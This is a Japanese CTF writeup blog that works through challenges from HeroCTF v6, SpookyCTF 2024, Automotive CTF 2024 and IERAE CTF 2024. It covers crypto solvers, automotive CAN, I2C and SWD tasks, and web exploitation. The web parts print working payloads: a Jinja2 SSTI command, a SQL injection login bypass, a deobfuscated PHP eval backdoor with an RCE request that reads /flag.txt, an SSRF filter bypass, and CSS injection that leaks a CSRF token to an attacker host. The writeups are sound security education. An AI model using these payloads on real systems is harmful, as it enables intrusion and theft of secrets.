はまやんはまやんはまやん

はまやんはまやんはまやん

hamayanhamayan's blog

HeroCTF v6 Writeups

https://ctftime.org/event/2496

[crypto] Interpolation

以下のようなsageファイルが与えられる。

#!/usr/bin/sage
import hashlib
import re

with open("flag.txt", "rb") as f:
    FLAG = f.read()
    assert re.match(rb"Hero{[0-9a-zA-Z_]{90}}", FLAG)

F = FiniteField(2**256 - 189)
R = PolynomialRing(F, "x")
H = lambda n: int(hashlib.sha256(n).hexdigest(), 16)
C = lambda x: [H(x[i : i + 4]) for i in range(0, len(FLAG), 4)]

f = R(C(FLAG))

points = []
for _ in range(f.degree()):
    r = F.random_element()
    points.append([r, f(r)])
print(points)

flag = input(">").encode().ljust(len(FLAG))

g = R(C(flag))

for p in points:
    if g(p[0]) != p[1]:
        print("Wrong flag!")
        break
else:
    print("Congrats!")

何をしているかというと、フラグを4文字ずつに分けてsha256ハッシュにしたものを係数とした関数を準備して、その関数上の点がいくつか与えられるのでフラグを求めよと言う問題。

ラグランジュ補間

フラグはre.match(rb"Hero{[0-9a-zA-Z_]{90}}", FLAG)を満たす必要があるため、フラグの長さは96文字となる。これが4文字ずつに分かれるので、24個の係数が生成されることになる。この係数を  a_i とすると

 \displaystyle
a_0 = sha256(\verb|"Hero"|) \\
a_1 = sha256(\verb|"{???"|) \\
...\\
a_{23} = sha256(\verb|"???}"|) \\

という感じになり、用意される関数は

 \displaystyle
f(x) = a_0 + a_1 x + ... + a_{23} x^{23}

という感じになる。この関数上で23個の点が与えられる。この時点で、かなりラグランジュ補間っぽさがあるのだが、問題はラグランジュ補間を行うのに点が1つ足りないことである。23次多項式であるため、24個の点が必要。ここでa_0 = sha256(\verb|"Hero"|)の条件を活用する。a_0はsha256エンコードする文字列が全てわかっているので計算することが可能。これを使うことで関数の次数を1つ減らすことができる。

 \displaystyle
\begin{eqnarray*}
y &=& a_0 + a_1 x + ... + a_{23} x^{23} \\
y - a_0 &=& a_1 x + ... + a_{23} x^{23} \\
\frac{y - a_0}{x} &=& a_1 + ... + a_{23} x^{22}
\end{eqnarray*}

これは次数が減っているのか?という印象を受けるだろうが、これで与えられている関数上の点を(x,y')=(x,\frac{y - a_0}{x})のように変換してやると、

 \displaystyle
y' = a_1 + ... + a_{23} x^{22}

となって22次多項式になる。あとは、ラグランジュ補間をすれば、a_1からa_{22}までを復元することができる。

a_iを文字列に戻す

このパートはそれほど難しくなく、4文字の文字列を全探索してハッシュ値が一致するものを採用すれば復元可能。sha256計算が重いので、O(|a| * |\verb|candidate_chars||^4)のように毎回全探索するのではなく、文字列とハッシュ値の辞書を前計算しておき、O(|a| + |\verb|candidate_chars||^4)にしておくと良い。

sageソルバー

from output import points
import hashlib
import sys

hash_dic = {}
dic = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_{}"
for c1 in dic:
    print(c1, file=sys.stderr)
    for c2 in dic:
        for c3 in dic:
            for c4 in dic:
                h = int(hashlib.sha256((c1 + c2 + c3 + c4).encode()).hexdigest(), 16)
                c = c1+c2+c3+c4
                hash_dic[h]=c

P = 115792089237316195423570985008687907853269984665640564039457584007913129639747 # 2**256 - 189
R.<x> = PolynomialRing(FiniteField(P))

H = lambda n: int(hashlib.sha256(n).hexdigest(), 16)
a0 = H(b"Hero")

points2 = []
for ps in points:
    x = ps[0]
    y = ps[1]

    y = (y - a0 + P) % P
    y = (y * pow(x, -1, P)) % P
    points2.append([ps[0], y])
f = R.lagrange_polynomial(points2)

print(f)
print(f.coefficients()[0])

for i in range(23):
    if f.coefficients()[i] in hash_dic:
        print(hash_dic[f.coefficients()[i]])

[crypto] Paranoia

from cryptography.hazmat.primitives.ciphers.algorithms import AES, SM4
from cryptography.hazmat.primitives.ciphers import Cipher, modes
import os


class Paranoia:
    def __init__(self, keys):
        self.keys = keys

    def __pad(self, data: bytes, bs: int) -> bytes:
        return data + (chr(bs - len(data) % bs) * (bs - len(data) % bs)).encode()

    def __encrypt(self, algorithm, data: bytes, key: bytes):
        cipher = Cipher(algorithm(key), modes.ECB())
        encryptor = cipher.encryptor()
        return encryptor.update(data) + encryptor.finalize()

    def encrypt(self, data: bytes):
        """
        🇨🇳 encryption to protect against the 🇺🇸 backdoor and
        🇺🇸 encryption to protect against the 🇨🇳 backdoor

        I'm a genius !
        """

        data = self.__pad(data, 16)
        data = self.__encrypt(AES, data, self.keys[0])
        data = self.__encrypt(SM4, data, self.keys[1])
        return data


with open("flag.txt", "rb") as f:
    flag = f.read()

keys = [os.urandom(16) for _ in range(2)]
paranoia = Paranoia(keys)

banner = b"I don't trust governments, thankfully I've found smart a way to keep my data secure."

print("pt_banner =", banner)
print("ct_banner =", paranoia.encrypt(banner))
print("enc_flag  =", paranoia.encrypt(flag))

# To comply with cryptography export regulations,
# 6 bytes = 2**48 bits, should be bruteforce-proof anyway
for n, k in enumerate(keys):
    print(f"k{n} = {k[3:]}")

以下のような暗号化コードが与えられる。以下のように暗号するプログラムで、1つの(plain,encrypted)の組と、flagを暗号化したものが与えられる。

                                                     
               key1            key2                  
                                                     
                │                │                   
             ┌──▼──┐          ┌──▼──┐                
             │     │          │     │                
   plain ───►│ AES ├── mid ──►│ SM4 ├───► encrypted  
             │     │          │     │                
             └─────┘          └─────┘                
                                                     

重要なのが、使われるkey1とkey2の先頭6bytes分を除いた部分も与えられるということ。6 bytesは2**48通り、つまり、2 * 1014通りということで競技プログラミングならアウトではあるが、もう少し時間があるCTFではまだ全探索できる範囲内。だが、key1とkey2を同時に全探索することはCTFでも時間が足りない。

半分全列挙

ここで半分全列挙的なアプローチが取れる。plainをAES暗号化してSM4暗号化した結果がencryptedと一致するかを確かめるのではなく、plainをAES暗号化した結果とencryptedをSM4復号化した結果が一致するかを確かめることにしよう。

まず、key1の未知部分を全探索して、plainをAES暗号化した結果とその時のkey1の辞書を作る。これで2^{48}通りかかる。つぎに、key2の未知部分を全探索して、encryptedをSM4復号化した結果を計算し、それと事前計算しておいた辞書にAES暗号化した結果とSM4復号化した結果が一致するようなものが無いかを探す。これも2^{48}通りの全探索で済む。(一致するようなものを探す際はdict型などを使おう)これで一致するものがあれば、plain + key1 - AES -> mid + key2 -SM4-> encryptedが見つかることになり、key1とkey2を特定できる。

特定できれば後はそれを使ってflagを暗号化したものを復号化すればフラグが手に入る。

pythonソルバー

from cryptography.hazmat.primitives.ciphers.algorithms import AES, SM4
from cryptography.hazmat.primitives.ciphers import Cipher, modes

def encrypt(algorithm, data: bytes, key: bytes):
    cipher = Cipher(algorithm(key), modes.ECB())
    encryptor = cipher.encryptor()
    return encryptor.update(data) + encryptor.finalize()

def decrypt(algorithm, data: bytes, key: bytes):
    cipher = Cipher(algorithm(key), modes.ECB())
    decryptor = cipher.decryptor()
    return decryptor.update(data) + decryptor.finalize()

pt_banner = b"I don't trust governments, thankfully I've found smart a way to keep my data secure."
ct_banner = b"\xd5\xae\x14\x9de\x86\x15\x88\xe0\xdc\xc7\x88{\xcfy\x81\x91\xbaH\xb6\x06\x02\xbey_0\xa5\x8a\xf6\x8b?\x9c\xc9\x92\xac\xdeb=@\x9bI\xeeY\xa0\x8d/o\xfa%)\xfb\xa2j\xd9N\xf7\xfd\xf6\xc2\x0b\xc3\xd2\xfc\te\x99\x9aIG\x01_\xb3\xf4\x0fG\xfb\x9f\xab\\\xe0\xcc\x92\xf5\xaf\xa2\xe6\xb0h\x7f}\x92O\xa6\x04\x92\x88"
enc_flag = b"\xaf\xe0\xb8h=_\xb0\xfbJ0\xe6l\x8c\xf2\xad\x14\xee\xccw\xe9\xff\xaa\xb2\xe9c\xa4\xa0\x95\x81\xb8\x03\x93\x7fg\x00v\xde\xba\xfe\xb92\x04\xed\xc4\xc7\x08\x8c\x96C\x97\x07\x1b\xe8~':\x91\x08\xcf\x9e\x81\x0b\x9b\x15"
k0 = b'C\xb0\xc0f\xf3\xa8\n\xff\x8e\x96g\x03"'
k1 = b"Q\x95\x8b@\xfbf\xba_\x9e\x84\xba\x1a7"

plain = pt_banner[:16]
encrypted = ct_banner[:16]

mid_cands = {}
for key_prefix in range(256*256*256):
    key0 = key_prefix.to_bytes(3, 'big') + k0
    mid = encrypt(AES, plain, key0)
    mid_cands[mid] = key0

for key_prefix in range(256*256*256):
    key1 = key_prefix.to_bytes(3, 'big') + k1
    mid = decrypt(SM4, encrypted, key1)
    if mid in mid_cands:
        key0 = mid_cands[mid]
        print(f"{key0=}")
        print(f"{key1=}")

        mid = decrypt(SM4, enc_flag, key1)
        flag = decrypt(AES, mid, key0)
        print(flag)
        exit(0)

[web] Jinjatic

ソースコード有り。/getflagの実行結果が得られればフラグが手に入る。攻撃箇所は以下。

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

メールアドレスとして正しい、かつ、jinja2向けのSSTIペイロードを送り込めば良い。調べるとpython-email-validatorが使われているようだ。

"DisplayName" <me@example.com>

こういう便利構文が通るので、

"{{lipsum.__globals__.os.popen('/getflag').read()}}" <me@example.com>

これでフラグが手に入る。

[web] PrYzes

ソースコード有り。pythonで書かれたサイトが与えられる。

app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode("utf-8"))
    return sha256_hash.hexdigest()

@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")

@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
    data = request.json
    date_str = data.get("date")
    received_signature = request.headers.get("X-Signature")

    json_data = json.dumps(data)
    expected_signature = compute_sha256(json_data)

    if not received_signature == expected_signature:
        return jsonify({"error": "Invalid signature"}), 400
    
    if not date_str:
        return jsonify({"error": "Date is missing"}), 400

    try:
        date_obj = datetime.strptime(date_str, "%d/%m/%Y")
        if date_obj.year >= 2100:
            return jsonify({"message": FLAG}), 200

        return jsonify({"error": "Please come back later..."}), 400
    except ValueError:
        return jsonify({"error": "Invalid date format"}), 400

署名付きでデータを受け取っており、jsonのdataに2100年以降の日付を入力できればフラグが手に入る。index.htmlを見るとtext/pythonで送信スクリプトが書かれているので真似して2100以降の日付を送ろう。

import hashlib
import json
from datetime import datetime
import requests

def on_complete(req):
    json_data = json.loads(req.text)
    if req.status == 200:
        alert(json_data.get("message"))
    else:
        alert(f"Error: {json_data.get('error')}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode('utf-8'))
    return sha256_hash.hexdigest()

def get_current_date():
    current_date = datetime.now().strftime("%d/%m/%Y")
    return current_date

data = {
    "date": "27/10/9999"
}
json_data = json.dumps(data)
signature = compute_sha256(json_data)

print(requests.post('http://[redacted]/api/prizes', headers={
    'Content-Type': 'application/json',
    'X-Signature': signature
}, data=json_data).text)

[web] SampleHub

ソースコード有り。/.flag.txtが取得できればフラグ獲得。メインのソースコードは非常に簡潔。

const express = require("express");
const path    = require("path");

const app  = express();
const PORT = 3000;

app.use(express.static(path.join(__dirname, "public")));
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));

app.get("/", (req, res) => {
    res.render("index");
});

process.chdir(path.join(__dirname, "samples"));
app.get("/download/:file", (req, res) => {
    const file = path.basename(req.params.file);
    res.download(file, req.query.filename || "sample.png", (err) => {
        if (err) {
            res.status(404).send(`File "${file}" not found`);
        }
    });
});


app.listen(PORT, () => {
    console.log(`Server is running on http://localhost:${PORT}`);
});

パストラバーサルを狙うがうまくいかない。path.basenameやres.downloadの第一引数などを人力fuzzingしてみるが刺さらない。観点が違っていて、res.downloadの第二引数に注目するのが正解。

res.downloadを見ると、optionsという引数があり、その表を見てみるとdotfilesという欄がある。通常だとignoreとなっており、今回取得したい.flag.txtは普通は取得できないようだ。ということは何とかしてこのoptionsを埋め込む必要があるのだが、filenameに関して型が指定されていないので辞書型を差し込むことができる。これでパスのルートディレクトリを指定できるrootも指定できるので、以下のようにリクエストを送ってやると、optionsとしてrootとdotfilesを差し込むことができ、フラグが手に入る。

GET /download/.flag.txt?filename[root]=/&filename[dotfiles]=allow HTTP/1.1
Host: [redacted]
Connection: keep-alive

SpookyCTF 2024 Writeups

https://ctftime.org/event/251634

[crypto] the-moth-flies-at-dawn

hash.txtというハッシュが書かれたファイルとwordList.txtという辞書ファイルが与えられる。ヒントが問題の本質。

HINT: It would be a SHAme if all 256 of these meals went to waste.

ということで、何かのSHA256ハッシュを取ったものが、hash.txtとして置かれているようである。ChatGPTでpythonでwordList.txtに書かれた各行をsha256ハッシュにして、hash.txtと一致するものを出力したいのように指示してコードを書かせる。

import hashlib

# ファイルのパスを指定します
wordlist_path = 'wordList.txt'
hashlist_path = 'hash.txt'

# hash.txt からハッシュ値を読み込む
with open(hashlist_path, 'r') as hash_file:
    hash_set = {line.strip() for line in hash_file}  # 各行のハッシュ値をセットに格納

# wordList.txt の各行をハッシュ化し、hash.txt 内のいずれかのハッシュと一致するか確認
with open(wordlist_path, 'r') as wordlist_file:
    for word in wordlist_file:
        word = word.strip()  # 各行のテキストを読み込み
        word_hash = hashlib.sha256(word.encode()).hexdigest()  # SHA256ハッシュを生成

        # ハッシュがhash.txt内に存在する場合、そのテキストを出力
        if word_hash in hash_set:
            print(word)

これをsolver.pyとして保存して実行すると答えが出てくる。

$ python3 solver.py 
blueberrypancake

[web] cryptid-hunters

ソースコード無し。以下のようなヒントが与えられている。

Hint: The hunters' webmaster is very tech illiterate. It seems like he just followed some intro level tutorial or used some free AI tool for the code.

アクセスして巡回するとlogin.phpというサイトがあり、ヒントが示唆するような基本的な脆弱性を試すと、SQL Injectionが刺さってフラグが出てくる。

username -> admin
password -> ' or 1=1 #

とすれば良い。

[web] entangled-server

難読化されたphpコードが与えられる。難読化を根性で復元して、変名すると以下のようになる。復元フェースが本編だと思うが、文字列を作ってそうな所をphpインタプリターを実行して文字列にちまちま変形していくのを繰り返していけばよい。

<?php

@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("max_execution_time",0);
@set_time_limit(0);
$input=NULL;
$key=NULL;
$GLOBALS["secret"]="5p1n-th3-51lly-5tr1ng5";
global $secret;
function f1($input,$key){
    $res="";
    for($i=0; $i<strlen($input);){
        for($j=0; $j<strlen($key) && $i<strlen($input); $j++,$i++){
            $res.=chr(ord($input[$i])^ord($key[$j]));
        }
    }
    return $res;
}

function f2($input,$key){
    global $secret;
    return f1(f1($input,$secret),$key);
}

if(!$input){
    foreach($_POST as $_key => $_val){
        $input=$_val;
        $key=$_key;
    }
}

$input = @json_decode(f2(base64_decode($input),$key),true);

if(isset($input["ak"]) && $secret==$input["ak"]){
    if($input["a"]=="e"){
        eval($input[d]);
    }
    exit();
}

?>

secretとkeyでXORしているのでsecretとkeyを一致させてやれば変換後は入力と同じものとなる。よって、以下のようなリクエストを送ればRCEできる。

POST /?c=id HTTP/1.1
Host: [redacted]:1337
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

5p1n-th3-51lly-5tr1ng5=eyJhayI6IjVwMW4tdGgzLTUxbGx5LTV0cjFuZzUiLCAiYSI6ImUiLCAiZCI6ImVjaG8gcGFzc3RocnUoJ2NhdCAvZmxhZy50eHQnKTsifQ%3d%3d

base64エンコード部分は{"ak":"5p1n-th3-51lly-5tr1ng5", "a":"e", "d":"echo passthru('cat /flag.txt');"}

[web] paranormal-picture

ソースコード有り。pythonで書かれたwebサイトが与えられる。フラグは以下にある。

@app.route('/flag')
def flag():
    if request.remote_addr == '::ffff:127.0.0.1' or request.remote_addr == '::1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('alarm.html'), 403

SSRFをしないといけない。SSRFができるポイントは以下にある。

def verifyBlog(url):
    blog_list = ["blog","cryptid","real","666",".org"]
    for word in blog_list:
        if word not in url:
            return False
    return True


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']
        try:
            result = verifyBlog(url)
            if not result:
                return render_template('index.html', error=f"Please submit a blog!")
        except:
            return render_template('index.html', error=f"Please submit a blog!")

        r = requests.get(url)

        return render_template('index.html', result=r.text)
    return render_template('index.html')

urlを入力して踏ませることができるが、verifyBlogを通す必要がある。これは["blog","cryptid","real","666",".org"]をURLに全て含んでいる必要があるというものであるが、この文字列がURLに入ってさえいればいいので、query-stringsとして埋め込むことにしよう。よって、http://localhost/flagにアクセスしたいのだが、

http://localhost/flag?blogcryptidreal666.org

を送ればフラグが得られる。

Automotive CTF 2024 World Final Writeup

予選国内決勝を経て、世界決勝にTeamONEの一員として行ってきました。結果は4位。チームメンバーのWriteupはここ。チームメンバーと運営に感謝です!

xNexus

これまでも出題されてきた、xNexusというVSOCプラットフォームが与えられて設問に答えていく問題群。#1に2時間溶かした挙句解けず、やらかしました…

CAN Bus Anomaly #2

Someone is trying to kill my engine. Determine what vehicle I am driving including the year by tracking CAN ID 0x7E0. Flag Format example: bh{Toyota Hilux 2021}

xNexusから該当する0x7E0のCAN通信を持って来ると以下の通信が記録されていた。

0x000007e0   05 31 01 40 44 ff 00 00

ここから車種と年代を特定する問題。この資料に該当する通信を見つけることができる。これの51ページを見ると、Ford社の車の通信であることが分かり、15ページを見ると更にa 2010 Ford Escapeと書いてあった。

つまり、bh{Ford Escape 2010}が答え。

RAMN

日本決勝でも題材として出題されたRAMNに関する問題群。実機を使わない問題もあった。

[FILE] SWD 1

問題文の転記を忘れたが、以下のようなロジアナのログが与えられるので、解釈してデータを取り出せという問題。

Time;CH 1 SWCLK;CH 2 SWDIO
0.000000000;1;1
0.594872000;0;1
0.594878000;1;1
0.594884000;0;1
0.594890000;1;1
0.594894000;0;0
0.594900000;1;0
…

SWCLKとSWDIOという用語で検索するとSerial Wire Debugという通信であることが分かる。ロジアナのログというのに慣れておらず、これを自力パースか?と思ってフォーマットを調べたり、無駄な1時間を過ごしてしまったが、素直にPulseViewで読み込むことが出来た。;,に変換して、csv形式でPulseViewに読み込ませる。Protocol DecoderでSWDを選択し、SWCLKとSWDIOと適切に指定すれば以下のように、いい感じにデコードされてくるので、全部ダンプしてくる。

1-15 SWD: : W AP4
18-22 SWD: : OK
28-90 SWD: : 0xe000ed00
94-108 SWD: : R APc
111-115 SWD: : OK
117-179 SWD: : 0x00000000
187-201 SWD: : RDBUFF
204-208 SWD: : OK
210-272 SWD: : 0x410fd212
280-294 SWD: : R CTRL/STAT
297-301 SWD: : OK
303-365 SWD: : 0xf0000040
372-386 SWD: : W AP4
389-393 SWD: : OK
399-461 SWD: : 0xe0042000
465-479 SWD: : R APc
482-486 SWD: : OK
488-550 SWD: : 0x00000000
…

エラーも無く、とてもいい感じ。出てきたものをなんとなく眺めていると、SWD: : W AP4の後にアドレスが書いてあって、SWD: : RDBUFFまでの間にデータが入っているような感じに読める。それっぽく取り出すスクリプトを書いて出してみると文字列が4bytes毎に逆になっていた、つまり、リトルエンディアンだったのでその辺りを調整して、以下のようなスクリプトを書いて全部持って来る。

res = {}

def rev(s):
    return s[6:] + s[4:6] + s[2:4] + s[:2]

with open("annon.txt") as fp:
    state = 0
    addr = ""
    buf = []
    for _line in fp.readlines():
        line = _line[:-1]
        if line.endswith("SWD: : W AP4"):
            assert state == 0
            state = 1
        elif state == 1 and line.endswith(" SWD: : OK"):
            state = 2
        elif state == 2:
            addr = line.split(':')[2]
            buf = []
            state = 3
        elif state == 3:
            if line.endswith("SWD: : RDBUFF"):
                res[addr] = buf
                state = 0
            elif "SWD: : 0x" in line:
                buf.append(rev(line.split(":")[2][3:]))

for addr,bufs in res.items():
    print(addr, bufs)

これで全部持ってこれるのでhex2binaryしてstringsすればフラグが出てくる。

[D] I2C

This flag will be transmitted every second on CAN with ID 0x778 if you can send any byte to ECU D on its I2C interface (port I2C2, address 0x63). Note: I2C pins have internal pull-up resistors. Pin layout is available here.

RAMNのECU DにI2C経由で書き込みを行うことができれば、CAN IDの0x778でフラグが出力されてくるという問題。ここを見ると、ECU Dのピン配置の番号は得られるのだが、番号と用途の対応表を見ても、どう刺せばいいか分からない。ロジアナで波形を見ながら用途を推測するような高等技術は持っていなかったため、検索を進めていくと、RAMNのGitHubのレポジトリにI2Cで使われる番号を書いた資料を見つけることが出来た。

https://github.com/ToyotaInfoTech/RAMN/blob/main/hardware/RAMNV1_pinout.pdf

ここから、

SCL -> PB10 ->14
SDA -> PB11 -> 15

ということが分かるので、その通り結線してやる。自分はtkitoさんから借りたBus Pirateを使ってI2C通信を行った。これで準備はできたので、CAN通信を受け取る準備をして、以下のようにBus Pirateでアドレス0x63に対して書き込みを行う。

I2C> [0x63 0x00 0x00 0x01]

するといい感じにACKが帰ってきて、CAN通信をcandumpで受け取っている方のコンソールで

 (1729536865.698447)  can0  778   [8]  62 68 7B 49 4E 46 41 4D   'bh{INFAM'
 (1729536865.700350)  can0  778   [8]  4F 55 53 5F 52 45 4D 41   'OUS_REMA'
 (1729536865.708109)  can0  778   [3]  4B 45 7D                  'KE}'

こんな感じにフラグが送られてくる。

IERAE CTF 2024 Writeups

https://ctftime.org/event/2441

チームhamayanhamayanのhamayanhamayanです。

[misc] OMG

アクセスすると

Let's press the browser back button 33 times. / 戻るボタンを33回押そう!

と言われる。とりあえず、Burpを開いてソースコードを読むと、GET /に以下のような記載がある。

if (e.state.i == 0) {
    cntdwn.innerText = atob("SUVSQUV7VHIzbmR5XzRkcy5MT0x9");
    init();
}

いかにも怪しいので、選択するとInspectorで自動でbase64デコードされてフラグが出てきた。

[web] Futari APIs

ソースコード有り。javascriptで書かれたサイトが与えられ、2つのサーバーが立てられている。

1つはfrontend.tsで、外部にポートが開放されているサイト。入力を元にuser-search.ts側にリクエストを飛ばして通信を中継する。ソースコードは以下。

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

2つ目はuser-search.tsでバックエンドでユーザー検索を行うサイト。実装は以下の形。

type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });

フラグは、2つのサーバ間での認証のために使われている。FLAGが使われている箇所を見てみて、怪しい部分は無いだろうか。

new URLでプロトコルを変える

色々試した結果、以下の部分が攻撃できた。

const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);

URLに含まれるフラグを取得する必要があるのだが、URLに含まれる入力をそのまま出力させると言えば… dataプロトコルですね。URLクラスは結構色々できることが知られているので、色々ガチャガチャやっていると、/search?user=data:text/html,でフラグが送り返されてきた。

Denoで試すと以下のような感じ。

$ deno
Deno 1.44.2
exit using ctrl+d, ctrl+c, or close()
REPL is running with all permissions allowed.
To specify permissions, run `deno repl` with allow flags.
> const user = "data:text/html,";
undefined
> const FLAG = "IERAE{dummy}";
undefined
> const userSearchAPI = "http://user-search:3000";
undefined
> new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
URL {
  href: "data:text/html,?apiKey=IERAE{dummy}",
  origin: "null",
  protocol: "data:",
  username: "",
  password: "",
  host: "",
  hostname: "",
  port: "",
  pathname: "text/html,",
  hash: "",
  search: "?apiKey=IERAE{dummy}"
}

このように、httpをdataプロトコルに変換することができ、そのままURLの内容を折り返すことができる。

[web] Great Management Opener

ソースコード有り。pythonで書かれたサイトとadmin botが与えられる。

Admin bot

Admin botから見てみよう。

const TIMEOUT_SECONDS = 30; // 本番では50に引き上げられていた[redacted]export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    // Login with admin user
    const page = await context.newPage();
    await page.goto(`${APP_URL}/login`, { timeout: 3000 });
    await page.waitForSelector("#username");
    await page.type("#username", APP_ADMIN_USERNAME);
    await page.waitForSelector("#password");
    await page.type("#password", APP_ADMIN_PASSWORD);
    await page.click("button[type=submit]");
    await sleep(1 * 1000);

    await page.goto(url, { timeout: 3000 });
    await sleep(TIMEOUT_SECONDS * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

Adminとしてログインした後、30秒間(本番では50秒間)sleepが入って終了する。XS-Leak的な手法が求められている雰囲気がある。Cookieにフラグが無いのでXSSという訳ではなさそうだ。

フラグの場所と目標

フラグの場所を確認すると以下にある。

@app.route('/admin/flag')
@login_required
@admin_required
def admin_flag():
    return app.config['FLAG']

実装は省略するが@admin_requiredとあるようにadminであればアクセスが可能である。adminアカウントは環境が立ち上がった段階で作成されて、Admin Botはadminアカウントでログインしてから、指定のURLを開くのだが、実はもう1つadminになれる方法があり、以下の部分。

@app.route('/admin', methods=['GET', 'POST'])
@login_required
@admin_required
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        csrf_token = request.form.get('csrf_token')

        if not username or len(username) < 8 or len(username) > 20:
            return redirect(url_for('admin', message='Username should be between 8 and 20 characters long'))

        if not csrf_token or csrf_token != session.get('csrf_token'):
            return redirect(url_for('admin', message='Invalid csrf_token'))

        user = User.query.filter_by(username=username).first()
        if not user:
            return redirect(url_for('admin', message='Not found username'))

        user.is_admin = True
        db.session.commit()
        return redirect(url_for('admin', message='Success make admin!'))
    return render_template('admin.jinja2', csrf_token=session.get('csrf_token'))

こちらも同様にadminアカウントが必要になるが、特定のユーザーを指定してadminに昇格させることができる。Admin Botを使ってここにアクセスさせ、自分で作ったユーザーをadminに昇格させることでフラグが手に入れられそうだ。

うまくやればAdmin BotでPOST通信を発生させることはできるが、csrf_tokenが必要になる。このトークンはログイン時に発行されてセッションに保管されている。login関数のsession["csrf_token"] = os.urandom(16).hex()の部分である。なので、もう少しbreakdownすると、csrf_tokenを手に入れることができれば、admin関数を使うことができるということになる。

csrf_tokenをどう取得するか。

埋め込み点

何か他に使える脆弱性が無いか探してみると、base.jinja2にHTML Injection出来そうな箇所が存在する。

{% if request.args.get('message') %}
    <div class="alert alert-secondary mt-3">
        {{ request.args.get('message')|truncate(64, True) }}
    </div>
{% endif %}

これはどのページでも使われる部分で、任意のサイトで?message=<s>injectionのようにするとHTMLタグが埋め込まれることが確認できる。だが、__init__.pyでCSPが設定されているため、XSSまでつなげることができない。

response.headers['Content-Security-Policy'] = (
    "script-src 'self'; "
    "style-src * 'unsafe-inline'; "
)

style-srcに関する設定が大分緩いことに気が付く。CSS Injectionは可能なようだ。

Blind CSS Injection / XS-Leaks with CSS Injection

探してみると意外と日本語資料が無い。XS-Leaks系が初めてという方はCTFで出題されたXS-Leaksが非常に良いのでオススメ。(Blind CSS Injectionとも呼ばれている気もするが、概念としてはXS-Leaksの方がキチンと包含していそうな気もする。)

csrf_tokenを取得するために、Blind CSS Injectionが利用できる。以下のようなCSSを埋め込むことを考える。

input[type=hidden][value^="0"]+div {{ background: url("http://[yoursite].example/leak?otp=0"); }}
input[type=hidden][value^="1"]+div {{ background: url("http://[yoursite].example/leak?otp=1"); }}
input[type=hidden][value^="2"]+div {{ background: url("http://[yoursite].example/leak?otp=2"); }}
...
input[type=hidden][value^="e"]+div {{ background: url("http://[yoursite].example/leak?otp=e"); }}
input[type=hidden][value^="f"]+div {{ background: url("http://[yoursite].example/leak?otp=f"); }}

これを埋め込むと、csrf_tokenは<input type="hidden" name="csrf_token" value="7efe1184567de57ef4509e2778d8a253">のようにHTMLに存在するので、valueの先頭が合うCSSが発動することになる。つまり、今回は7から始まっているので、http://[yoursite].example/leak?otp=7のような通信が発生し、最初が7から始まることを検知することができる。

これを繰り返して先頭から順にhexの32文字から成るトークンを特定して、それを使ってPOST /adminをするという方針で解いていく。

まず、適当に以上のようなCSSを返すエンドポイントを用意してホストしておく。この時、base.jinja2の埋め込み先の文字数制限に注意しておく必要があり、{{ request.args.get('message')|truncate(64, True) }}のように64文字制限がある。なので、ngrokなどでURLを作ると64文字に収まらなくなるので、自分は適当にVPSを借りてIPアドレスで指定した。

HTMLインジェクションでCSS読み込みを埋め込むときは以下のようにやればいい。

/admin?message=<link%20rel='stylesheet'%20href='http://[your-ip-address]/v1'%20/>

linkタグを使って埋め込んでいる。これでhttp://[your-ip-address]/v1にアクセスしてCSSを読み込んで適用してくれる。これで1回分は読み取ることができる。

自動化する

